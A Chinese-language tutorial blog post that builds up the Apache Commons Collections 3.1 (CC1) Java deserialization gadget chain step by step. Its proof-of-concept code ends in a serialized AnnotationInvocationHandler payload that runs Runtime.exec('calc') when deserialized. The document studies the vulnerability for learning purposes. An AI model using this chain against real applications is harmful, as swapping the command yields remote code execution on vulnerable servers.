0x00 前言 前面的几篇文章中,我们学习了java反射机制、RMI、动态代理以及java反序列化的流程,这些内容其实涉及的只是一些前置知识,不过也是比较关键的一些知识,能够为我们接下来分析各种漏洞以及利用链做好铺垫(网上很多文章都是直接从利用链开始谈起,对于我这样的新手太不友好)。从本篇文章开始,我将分析各种漏洞的利用链。
0x01 什么是利用链?什么是CC链 用p神的话:利⽤链也叫“gadget chains”,我们通常称为gadget。如果你学过PHP反序列化漏洞,那么就可以将 gadget理解为⼀种⽅法,它连接的是从触发位置开始到执⾏命令的位置结束,在PHP⾥可能 是 __desctruct 到 eval ;如果你没学过其他语⾔的反序列化漏洞,那么gadget就是⼀种⽣成POC的⽅法罢了。(之前我有学习过php反序列化的pop链,也正如这样描述的,以后有机会写篇文章分享一下)。
CC链作为java反序列化利用链的一种,是我们在学习java反序列化过程中不可跳过的一关。这里的CC是对Apache Commons Collections这个java第三方库的简称,它在java中提供了一些功能,可以更方便的管理Collection集合,因为方便,Commons Collections被广泛用于各种Java应用的开发,它提供很多强有力的数据结构类型,并且实现了各种集合工具类。其中反序列化漏洞就出现在这个库中,这意味着使用该库的漏洞版本 的Java应用会面临反序列化漏洞 的威胁。而我们的目的,就是研究这个库是如何产生并被利用反序列化漏洞的。
0x02 环境搭建 对于利用链这块,网上文章很少有讲环境搭建的,导致我环境搭建就花了好长时间。。。
首先是环境要求:
jdk1.7版本,这里我下载的是这个安装包:jdk-7u80-windows-x64.exe
本文要研究的CC链:apache commons collection 3.1版本
IntelliJ IDEA
准备好后,在IDEA里新建一个项目,选择安装好的jdk1.7。
然后进入文件->项目结果->模块,在创建好的项目下选择依赖,点击+号,然后选择1 JAR或目录……
接着就是选择下载并解压好的commons collection 3.1文件夹下的jar包:
导入后,就可以在项目的外部库中看到这个CC jar包了。
0x03 分析 前置知识点 前面介绍Commons Collections时说过,这个包提供很多强有力的数据结构类型,并且实现了各种集合工具类,其中我们需要关注的一个功能是:
Transforming decorators that alter each object as it is added to the collection
转化装饰器:修改每一个添加到collection中的object
在Commons Collections包中实现了一个TransformedMap类(org.apache.commons.collections.map.TransformedMap),该类是对Java标准数据结构Map接口的一个扩展,该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入。
org.apache.commons.collections.Transformer这个类可以满足固定的类型转化需求,其转化函数可以自定义实现,我们的漏洞触发函数就是在于这个点。
包括TransfomedMap在内,我们在构造利用链时要用到如下Class:
InvokerTransformer
ChainedTrasnformer
ConstantTransformer
TransformedMap
AnotationInvocationHandler
我们现在的目的就是执行Runtime.getRuntime().exec("calc");语句
那我们按照顺序一一来看。
该类位于org.apache.commons.collections.functors中,我们重点看其中的transform方法(只看重点部分):
1 2 3 4 5 6 7 8 9 10 11 public Object transform (Object input) { if (input == null ) { return null ; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); } } }
在该方法中,显示通过input的getClass()方法获得Class对象,然后获取Class中的method(this.iMethodName, this.iParamTypes),再method.invoke(input, this.iArgs)触发方法。那么我们是否可以控制这些变量来完成一个反射呢?
InvokerTransformer有两个构造方法,其中一个可以让我们传入以上需要用到的iMethodName,iParamTypes,iArgs,即方法名、参数类型和参数本身
1 2 3 4 5 public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { this .iMethodName = methodName; this .iParamTypes = paramTypes; this .iArgs = args; }
那么我们可以通过传入恶意的一些参数,从而利用反射达到RCE的效果,比如我们构造如下RCE:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package Anchor;import org.apache.commons.collections.functors.InvokerTransformer;import java.lang.reflect.InvocationTargetException;public class Test { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }); Object input = Class.forName("java.lang.Runtime" ).getDeclaredMethod("getRuntime" ).invoke(Class.forName("java.lang.Runtime" ), null ); invokerTransformer.transform(input); } }
成功弹出计算器:
虽然成功RCE,但这还远没有接近真实场景,下面我们模拟一下客户端和服务器之间序列化和反序列化的过程(为了简便,客户端和服务端我就写到一个类里了):
需要注意的是,InvokerTransformer类实现了Serializable接口,所以该类是可以序列化的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 package Anchor;import org.apache.commons.collections.functors.InvokerTransformer;import java.io.*;import java.lang.reflect.InvocationTargetException;public class Test { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException { InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }); FileOutputStream fileOutputStream = new FileOutputStream ("payload.bin" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); objectOutputStream.writeObject(invokerTransformer); objectOutputStream.flush(); objectOutputStream.close(); fileOutputStream.close(); FileInputStream fileInputStream = new FileInputStream ("payload.bin" ); ObjectInputStream objectInputStream = new ObjectInputStream (fileInputStream); InvokerTransformer inv = (InvokerTransformer) objectInputStream.readObject(); Object input = Class.forName("java.lang.Runtime" ).getDeclaredMethod("getRuntime" ).invoke(Class.forName("java.lang.Runtime" ),null ); inv.transform(input); } }
运行后一样成功弹出计算器。
如果我们直接利用这处反射机制作为漏洞的话,则需要服务端的开发人员“帮助”我们做以下事情才能触发漏洞:
把反序列化后的Object强制转化为InvokerTransformer类型
构造Input - Runtime实例
刻意执行InvokerTransformer中的transform方法,并将Runtime实例以方法参数传入。
实际中会有开发人员这么好心帮我们把这些都实现了吗?显然不会(除非开发人员自己人,hh)
所以现在我们就面临一些问题:
payload肯定要在客户端刻意自定义构造,再传输进入服务端
服务端需要把我们输入exp反序列化成一个在代码中可能使用的类,并且在代码正常操作中会调用这个类中的一个可出触发漏洞的函数(当然这个函数最后会进入我们InvokerTransformer类的transform函数,从而形成命令执行),如果这个反序列化的类和这个类触发命令执行的方法课可以在一个readObject复写函数中恰好触发,就对于服务端上下文语句没有要求了!
所以接下来我们就一个一个解决上述问题,首先是客户端自定义payload,即input参数的问题,这时要用到下面这个类。
该类同样也位于org.apache.commons.collections.functors包中,使用它我们就可以自己来写input参数,自定义payload
在ChainedTransformer类中,也有一个transform方法,我们定位到它的源码:
1 2 3 4 5 6 7 public Object transform (Object object) { for (int i = 0 ; i < this .iTransformers.length; ++i) { object = this .iTransformers[i].transform(object); } return object; }
它循环遍历了iTransformers数组中的每一个元素,每一次循环,它都会把该元素.transform(object)的结果(一个对象)赋值给object,并返回。这意味着,下一个元素执行的transform()方法中的参数就是上一个元素执行transform()方法的返回值,如此一来就是串行传递执行结果。
我们需要确定iTransfomers这个数组中的内容是否是我们可以自主控制的,定位到其构造函数中看看这个成员变量的来历:
1 2 3 public ChainedTransformer (Transformer[] transformers) { this .iTransformers = transformers; }
显然我们是可以自定义该变量的内容的,又因为之前我们看到,InvokerTransformer不仅implements了Serializa接口,也implements了Transformer接口,那么InvokerTransformer的实例对象也是可以放在这个iTransfomers这个数组中的(不明白的去巩固巩固java基础)
所有就有下面的想法:让我们构造的input(Runtime实例)作为第一个遍历元素的返回值,再执行第二个元素的transform时,刚好就传入了input这个参数了。
但问题是,怎么让我们构造的input(Runtime实例)能被Transformer类或其子类的transform()方法中的返回呢?接下来就引入ConstantTransformer类
该类也位于org.apache.commons.collections.functors包中,它同样也implements了Transformer类的,所以可以被放进Transformer[]数组,同样也有我们想要的transform()方法。顾名思义,该类其实只会存放一个常量;它的构造函数会写入这个变量,它的transform函数又会返回这个变量,其中构造函数和transform方法的源码如下:
1 2 3 4 5 6 7 public ConstantTransformer (Object constantToReturn) { this .iConstant = constantToReturn; } public Object transform (Object input) { return this .iConstant; }
我们可以在构造函数中将Runtime.getRuntime()得到的Runtime实例传给iConstant,这样链就连起来了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 package Anchor;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import java.io.*;import java.lang.reflect.InvocationTargetException;public class Test { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.getRuntime()), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); FileOutputStream fileOutputStream = new FileOutputStream ("payload.bin" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); objectOutputStream.writeObject(chainedTransformer); objectOutputStream.flush(); objectOutputStream.close(); fileOutputStream.close(); FileInputStream fileInputStream = new FileInputStream ("payload.bin" ); ObjectInputStream objectInputStream = new ObjectInputStream (fileInputStream); ChainedTransformer inv = (ChainedTransformer) objectInputStream.readObject(); inv.transform("Anchor" ); } }
该程序运行后直接报错,产生以下错误:
也就是说,Runtime类是不可以序列化的,我们看它的源码可以发现并没有实现Serializa接口,而我们是直接将通过Runtime.getRuntime()得到的Runtime实例序列化,所以产生错误。
那么就另辟蹊径,我们通过反射方式获取Runtime实例,让服务端在反序列化时自己生成Runtime实例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 package Anchor;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import java.io.*;import java.lang.reflect.InvocationTargetException;public class Test { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); FileOutputStream fileOutputStream = new FileOutputStream ("payload.bin" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); objectOutputStream.writeObject(chainedTransformer); objectOutputStream.flush(); objectOutputStream.close(); fileOutputStream.close(); FileInputStream fileInputStream = new FileInputStream ("payload.bin" ); ObjectInputStream objectInputStream = new ObjectInputStream (fileInputStream); ChainedTransformer inv = (ChainedTransformer) objectInputStream.readObject(); inv.transform("Anchor" ); } }
成功弹出计算器!
看到这里我是真的很佩服构造这个利用链的大佬,能够构造地这么巧妙!
不过还没完,就这样漏洞触发的条件依旧苛刻,仍需要开发者在服务端将object转换为ChainedTransformer类型,且执行transform方法,我们还需要进一步扩大漏洞触发范围。
前面也提到过该类,该类是对 Java 标准数据结构 Map 接口的一个扩展,该类位于org.apache.commons.collections.map包中
该类中我们可以看到以下方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 protected Object transformKey (Object object) { return this .keyTransformer == null ? object : this .keyTransformer.transform(object); } protected Object transformValue (Object object) { return this .valueTransformer == null ? object : this .valueTransformer.transform(object); } protected Object checkSetValue (Object value) { return this .valueTransformer.transform(value); } public Object put (Object key, Object value) { key = this .transformKey(key); value = this .transformValue(value); return this .getMap().put(key, value); }
put() 虽然前三个方法中都有我们想要的调用transform方法,但是由于属性均为protected,非子类的话,是无法被外界访问的。不过可以借助第四个方法————put(),该方法中就调用了前面两个方法,那也就可以间接调用transform方法了。
那么问题来了,其中的keyTransformer和valueTransformer是否是我们可控的?
还是一样的,跟进到构造函数中一探究竟。
1 2 3 4 5 protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; }
我们可以看到,构造函数的属性也是protected,也就是说,在别的包中,我们是无法通过new来实例化一个TransformedMap类的对象的,那也就是说,无法通过该处构造函数实现传入构造的利用链了。那就没办法了不?
我们把目标锁定在另外的一个静态方法decorate()上:
1 2 3 public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); }
可以看到该静态方法可以直接返回一个TransformedMap实例,并且该静态方法是public属性,那么问题迎刃而解了,我们可以TransformedMap.decorate()来获取一个TransformedMap实例,其中的keyTransformer或是valueTransformer参数处传入我们构造好几次的transformer链,那么接下来poc改造如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 package Anchor;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.reflect.InvocationTargetException;import java.util.HashMap;import java.util.Map;public class Test { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map map = new HashMap (); map.put("123" ,"456" ); Map myMap = TransformedMap.decorate(map, null , chainedTransformer); FileOutputStream fileOutputStream = new FileOutputStream ("payload.bin" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); objectOutputStream.writeObject(myMap); objectOutputStream.flush(); objectOutputStream.close(); fileOutputStream.close(); FileInputStream fileInputStream = new FileInputStream ("payload.bin" ); ObjectInputStream objectInputStream = new ObjectInputStream (fileInputStream); Map mapObj = (Map) objectInputStream.readObject(); mapObj.put("anchor" ,"anch0r" ); } }
nice,计算器还是照常弹出。
到了这一步,漏洞的范围就很大了,因为已经接触到我们常用的Map数据结构和其put()方法了。但这还是不太理想,我们更理想化的攻击方式是,服务器端只要反序列化readObject()就能触发反序列化漏洞。可惜的是,安全研究的大佬们发现并未有满足重写了readObject()方法且方法内可以调用MapObj.put()方法条件的Class。
checkSetValue() 注意到上面这个poc只是利用了其中我提到的transformKey、 transformValue以及put方法,其中有个方法我还没提,就是checkSetValue()方法:
1 2 3 protected Object checkSetValue (Object value) { return this .valueTransformer.transform(value); }
这里面也调用了我们想要的transform方法,但是该方法也是protected属性来修饰的,不能直接利用,我们可以看看其他有哪个地方调用了这个checkSetValue方法。该方法其实是由TransformedMap继承自AbstractInputCheckedMapDecorator类,我们就先跟进这个类中看看。
在该类中又有个MapEntry类,其中setValue方法中调用了checkSetValue方法。
显然,现在我们只需要确保this.parent指向的是TransformedMap类的对象就可以了。那就继续看看this.parent在哪些地方被赋值了。、
可以看到分别可以在当前类文件的EntrySetIterator类和EntrySet类的构造函数中赋值:
但这是不同 Class的parent,我们需要的是MapEntry里的parent,继续查看代码,发现:EntrySetIterator中的next()方法会将自身的parent传入MapEntry,而EntrySet的iterator方法又会创建一个新的EntrySetIterator,将它的parent传入EntrySetIterator,这样就连起来了 new EntrySet(set,parent).iterator().next()就能够传入我们的parent:
接着我们发现,AbstractInputCheckedMapDecorator里还有一个entrySet(),因为我们的TransformedMap就是它的子类,所以我们可以直接用我们的TransformedMap去调用这个方法,一切就连起来了。
1 2 3 public Set entrySet () { return (Set)(this .isSetValueChecking() ? new EntrySet (super .map.entrySet(), this ) : super .map.entrySet()); }
于是POC改造:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 package Anchor;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.reflect.InvocationTargetException;import java.util.HashMap;import java.util.Map;public class Test { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map map = new HashMap (); map.put("123" ,"456" ); Map myMap = TransformedMap.decorate(map, null , chainedTransformer); Map.Entry finalMap = (Map.Entry) myMap.entrySet().iterator().next(); FileOutputStream fileOutputStream = new FileOutputStream ("payload.bin" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); objectOutputStream.writeObject(finalMap); objectOutputStream.flush(); objectOutputStream.close(); fileOutputStream.close(); FileInputStream fileInputStream = new FileInputStream ("payload.bin" ); ObjectInputStream objectInputStream = new ObjectInputStream (fileInputStream); Map.Entry entry = (Map.Entry) objectInputStream.readObject(); entry.setValue("Anch0r" ); } }
这里又发现了NotSerializableException错误,其中的MapEntry是不可序列化的。
这里就不通过序列化和反序列化表现了,直接删除序列化和反序列化的代码查看结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 package Anchor;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.reflect.InvocationTargetException;import java.util.HashMap;import java.util.Map;public class Test { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map map = new HashMap (); map.put("123" ,"456" ); Map myMap = TransformedMap.decorate(map, null , chainedTransformer); Map.Entry finalMap = (Map.Entry) myMap.entrySet().iterator().next(); finalMap.setValue("anch0r" ); } }
成功弹窗!
5. AnotationInvocationHandler类 AnotationInvocationHandler类不是Commons Collections包中的内容了,它是jdk包中自带的类,位于sun.reflect.annotation.AnotationInvocationHandler,这个类很完美,因为它有一个自己的readObject方法,就是说该类可以配合实现反序列化漏洞。
我们就先来分析它的readObject方法的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 private void readObject (ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null ; try { var2 = AnnotationType.getInstance(this .type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException ("Non-annotation type in annotation serial stream" ); } Map var3 = var2.memberTypes(); Iterator var4 = this .memberValues.entrySet().iterator(); while (var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null ) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy (var8.getClass() + "[" + var8 + "]" )).setMember((Method)var2.members().get(var6))); } } } }
我们看到了熟悉的this.memberValues.entrySet().iterator();,在后面还有setValue(),这已经足够我们利用了。上面代码comment中的【this.type】和【this.memberValues】都是可控的,在构造方法中可以传入,那么顺便看看其构造方法源码:
1 2 3 4 5 6 7 8 9 AnnotationInvocationHandler(Class<? extends Annotation > var1, Map<String, Object> var2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0 ] == Annotation.class) { this .type = var1; this .memberValues = var2; } else { throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); } }
memberValues我们赋值为TransformedMap.decorate()的返回值,那type呢?我们可以发现type是一种Annotation(注释),如果大家有学习过SpringBoot或Spring的话,就会理解Annotation的意义。所以此处我们是要传一个Annotation的Class过去。再看readObject()中的逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ... var2 = AnnotationType.getInstance(this .type); Map var3 = var2.memberTypes(); while (var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null ) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy (var8.getClass() + "[" + var8 + "]" )).setMember((Method)var2.members().get(var6))); } } }
我们传入的这个type需要有memberTypes,且我们的map 中的key必须要和memberTypes的key保持**一致。**跟踪Annotation这个Class,我们可以发现所有Annotation的class。
这里我们可以简单分析一下:
1 2 3 4 5 6 @Documented @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.ANNOTATION_TYPE) public @interface Target { ElementType[] value(); }
此处Target的memberTypes就是 [value:ElementType] =》 key-value 的形式。
1 2 3 4 5 6 @Documented @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.ANNOTATION_TYPE) public @interface Retention { RetentionPolicy value () ; }
此处Retention的memberTypes就是 [value:RetentionPolicy] =》 key-value 的形式`。
这些Annotation的元注解都可以通过@符号来调用,例如@Target
因此我们可以选择传入Target.class或者Retention.class, map的key值为value。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 package Anchor;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.util.HashMap;import java.util.Map;public class Test { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map map = new HashMap (); map.put("value" ,"anyContent" ); Map myMap = TransformedMap.decorate(map, null , chainedTransformer); Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> aConstructor = aClass.getDeclaredConstructor(Class.class, Map.class); aConstructor.setAccessible(true ); Object o = aConstructor.newInstance(Target.class, myMap); FileOutputStream fileOutputStream = new FileOutputStream ("payload.bin" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); objectOutputStream.writeObject(o); objectOutputStream.flush(); objectOutputStream.close(); fileOutputStream.close(); FileInputStream fileInputStream = new FileInputStream ("payload.bin" ); ObjectInputStream objectInputStream = new ObjectInputStream (fileInputStream); objectInputStream.readObject(); } }
最后成功弹出计算器
0x04 小结 在学习利用链之前我总是在想,为啥大佬们要大费周章花很多心思来搞这么长的利用链?学完CC链的原理之后我明白了,在构造利用链时,他们肯定是在一步一步思索,怎么才能使漏洞的利用需要的条件更低,而接触范围更大等等,解决的办法也就是不断寻找其他突破口,去看其他的类,其他的方法来曲线救国,我想这也是我们在平常学习安全时所需要的能力,要学会不断去探索新的方法、新的可能性。
参考文章:
Java安全漫谈
JAVA反序列化 - Commons-Collections组件